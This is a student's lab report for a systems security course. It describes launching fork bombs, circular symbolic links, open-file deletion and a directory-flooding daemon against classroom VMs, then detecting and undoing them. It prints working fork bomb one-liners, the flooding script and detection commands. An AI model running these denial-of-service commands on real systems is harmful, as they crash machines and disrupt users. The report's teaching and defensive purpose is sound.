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CIS 410

Assignment 5 report

Exercise 1: Detecting/Launching Fork Bomb Attacks on VMs

1.1. Monitoring/Detecting Fork Bomb Attacks on Your VM:

Script on ix: runvm.sh

Script on my VM: mon1.sh

In this exercise, I have modified the `/etc/security/limits.conf` at very beginning but in a wrong way, which was making a group for all users first and then set the `nproc`. However, I have missed that the “#” symbol needs to be deleted, which means the conf file doesn’t work. I noticed that until the forkbomb attack has been started. Then in Thursday’s class, Zahra told me how to modified `limits.conf` correctly:

```
#
#<domain>      <type>  <item>          <value>
#
*               soft    nproc           100
root           hard    nproc           unlimited
**             soft    core            0
#root          hard    core            100000
**             hard    rss             10000
#@student      hard    nproc           20
#@faculty      soft    nproc           20
#@faculty      hard    nproc           50
#ftp           hard    nproc           0
#ftp           -        chroot          /ftp
#@student      -        maxlogins       4
#@410users     hard    nproc           100
"/etc/security/limits.conf" [readonly] 501  22870
```

1.2. Launching Fork Bomb Attacks on Selected VMs:

In this exercise, I have tried three kinds of forkbomb. The first one is only “b () { b | b & } ; b ”. I found this command from Google and tried it on my own VM, which makes my VM down very soon that I have to restart my VM. The I tried to add the “sleep 5” -> “b() { sleep 5; b | sleep 5; b& }; b” to let the forkbomb grows slowly with the speed 12proc/min, and it works at the beginning, but because the modified limits.conf did not work on my VM, thus my VM was down again after the process increased up to thousands, therefore I had to restart the VM again. Here is the log at

<http://ix.cs.uoregon.edu/~qfeng/snail-wk5.html>:

.....Updating.....

Thu Feb 7 09:56:10 UTC 2019

09:56:11 up 8 days, 2:15, 4 users, load average: 0.17, 0.14, 0.05

107 root 1373 qianyi

.....message ending.....

.....Updating.....

Thu Feb 7 09:57:14 UTC 2019

09:57:14 up 8 days, 2:16, 4 users, load average: 0.41, 0.19, 0.07

107 root 1385 qianyi

.....message ending.....

.....Updating.....

Thu Feb 7 09:58:43 UTC 2019

10:00:19 up 8 days, 2:19, 4 users, load average: 17.30, 7.93, 3.08

.....Updating.....

Thu Feb 7 16:03:23 UTC 2019

16:03:23 up 1 min, 0 users, load average: 0.84, 0.41, 0.15

95 root

.....message ending.....

.....Updating.....

Thu Feb 7 16:04:23 UTC 2019

16:04:23 up 2 min, 0 users, load average: 0.31, 0.33, 0.14

95 root

.....message ending.....

Then I have tried another way, which is to copy and paste 64 date.sh scripts and then called them in one script. I have not tried it on my own VM but on other classmates VM, and it seems works. After that I have tried a new command, which is to call the same .sh file for multiple times without coping multiple times, which is better than the previous method.

Exercise 2: Defending/Launching Various Attacks on VMs

2.1. Launching other Attacks on Selected VMs:

1. Creating a few circular symbolic links.
2. Deleting a few open files.
3. Running a daemon-like program that creates a lot of directories or files.

For this exercise, I have googled a lot for the attacking methods. For the first one, I have used “ln -s” command to create circular symbolic link, and here is the result:

```
lrwxrwxrwx    1 qianyi qianyi      4 Feb  7 23:26 symn -> symn
lrwxrwxrwx    1 qianyi users      8 Feb  8 07:37 symtest1 -> symtest1
lrwxrwxrwx    1 qianyi users      8 Feb  8 07:41 symtest2 -> symtest2
lrwxrwxrwx    1 qianyi users      8 Feb  8 07:41 symtest3 -> symtest3
lrwxrwxrwx    1 qianyi users      8 Feb  8 07:41 symtest4 -> symtest4
qianyi@osboxes:~$ █

[qianyi@osboxes:~$ cd symtest1
-bash: cd: symtest1: Too many levels of symbolic links
qianyi@osboxes:~$ █
```

For the second one, I have no idea to delete open files in batch, therefore I deleted them manually. Firstly I used lsof command to find open files, and then use rm command

to remove them. However, I have no permission to delete other people's file, and I was not sure which files of mine could be deleted safely, therefore I thought I have to delete the files that made by myself. Then I found that the nohup.out file is already an open file, thus I have deleted them manually.

For the third attack, I have written a python file first, and then wrote the script to call it. Because I found that a lot of daemon commands need to install packages, therefore I had to use nohup command again to make sure the directory creating process looks like a daemon-like program. This python file could make a new directory every 1 minute, and the screenshot below is the result:

```
import os, sys, time
base = '/home/qianyi/ltest/'
i = 1
while 1:
    file_name = base + str(i)
    os.mkdir(file_name)
    i = i + 1
    time.sleep(60)
```

```
1087 1196 1304 1413 1522 1631 226 335 444 553 662 771 880 99
1088 1197 1305 1414 1523 1632 227 336 445 554 663 772 881 990
1089 1198 1306 1415 1524 1633 228 337 446 555 664 773 882 991
109 1199 1307 1416 1525 1634 229 338 447 556 665 774 883 992
1090 12 1308 1417 1526 1635 23 339 448 557 666 775 884 993
1091 120 1309 1418 1527 1636 230 34 449 558 667 776 885 994
1092 1200 131 1419 1528 1637 231 340 45 559 668 777 886 995
1093 1201 1310 142 1529 1638 232 341 450 56 669 778 887 996
1094 1202 1311 1420 153 1639 233 342 451 560 67 779 888 997
1095 1203 1312 1421 1530 164 234 343 452 561 670 78 889 998
1096 1204 1313 1422 1531 1640 235 344 453 562 671 780 89 999
1097 1205 1314 1423 1532 1641 236 345 454 563 672 781 890
1098 1206 1315 1424 1533 1642 237 346 455 564 673 782 891
1099 1207 1316 1425 1534 1643 238 347 456 565 674 783 892
11 1208 1317 1426 1535 1644 239 348 457 566 675 784 893
110 1209 1318 1427 1536 1645 24 349 458 567 676 785 894
1100 121 1319 1428 1537 1646 240 35 459 568 677 786 895
1101 1210 132 1429 1538 1647 241 350 46 569 678 787 896
1102 1211 1320 143 1539 1648 242 351 460 57 679 788 897
1103 1212 1321 1430 154 1649 243 352 461 570 68 789 898
1104 1213 1322 1431 1540 165 244 353 462 571 680 79 899
1105 1214 1323 1432 1541 1650 245 354 463 572 681 790 9
1106 1215 1324 1433 1542 1651 246 355 464 573 682 791 90
```

2.2. Detecting Attacks on your VM:

I have written four script for detecting the attacks. However, I found that is hard to write a script to defend these attacks automatically, therefore I just firstly find the attacks, and then defend them manually. For the symlink, I used “find -follow -type l” command to find all circular symbolic links, and here is the result:

[illegible]

I then removed it manually:

```

5 osboxes@osboxes: /home/erric$ sudo rm attack1
6 osboxes@osboxes: /home/erric$ ls
7 100kborless.txt 200kborless.txt 500kborless.txt attack/ attack2@ attack3@ attackdel.py
8 osboxes@osboxes: /home/erric$ ls
9 100kborless.txt 200kborless.txt 500kborless.txt attack attack2 attack3 attackdel.py
[osboxes@osboxes: /home/erric$ rm attack2
rm: cannot remove 'attack2': Permission denied
0 osboxes@osboxes: /home/erric$ sudo rm attack2
1 osboxes@osboxes: /home/erric$ ls
2 100kborless.txt 200kborless.txt 500kborless.txt attack attack3 attackdel.py attac
3 osboxes@osboxes: /home/erric$

```

For the delopen files, I used “ls -l | grep deleted” command to find deleted files first(need root privilege), then used “ls -l | grep “deleted filename” command to find more

information of this deleted file. After that I used `head -n 10` command to get the content of the deleted file, finally using `cp` to recover the file. Here is the result:

```
osboxes@osboxes: /home$ sudo lsdf grep /home/erric/attacklinkdir.sh~
attack.sh 32331      erric 255r    REG          8,5      167    12976152 /home/erric/attacklinkdir.sh~ (deleted)
osboxes@osboxes: /home$ sudo head -n 10 /home/erric/attacklinkdir.sh~
head: cannot open '/home/erric/attacklinkdir.sh~' for reading: No such file or directory
osboxes@osboxes: /home$ sudo head -n 10 /proc/32331/fd/255
#1/bin/bash
# Circular symbolic link
ln -s attack1 attack2
ln -s attack2 attack3
ln -s attack3 attack1

# Daemon-like program
while :
do
    mkdir attack
osboxes@osboxes: /home$ cp /proc/32331/fd/255 /home/erric/attacklinkdir.sh~
cp: cannot stat '/proc/32331/fd/255': Permission denied
osboxes@osboxes: /home$ sudo cp /proc/32331/fd/255 /home/erric/attacklinkdir.sh~

osboxes@osboxes: /home/erric$ ls
100kborless.txt  500kborless.txt  attack3          attacklinkdir.sh  date.out  ForkBomb.sh  output3.txt
200kborless.txt  attack           attackdel.py     attacklinkdir.sh~ date.sh    nohup.out
osboxes@osboxes: /home/erric$
```

To detect the LotDir I used the “find /home -type d -mtime 1” command, which is to find the new directories that created recently. The defend method is the same with defending the symbolic links, which is to find the new created directories first, and then go to their directory, then remove the scripts that creating these files or directories.

[illegible]

References

<https://www.serverwatch.com/tutorials/article.php/3822816/Recovering-Deleted-Files-With-lsof.htm>

<https://www.experts-exchange.com/questions/20314294/circular-soft-links.html>

<https://unix.stackexchange.com/questions/287108/how-to-find-directories-that-updated-last-day-in-linux>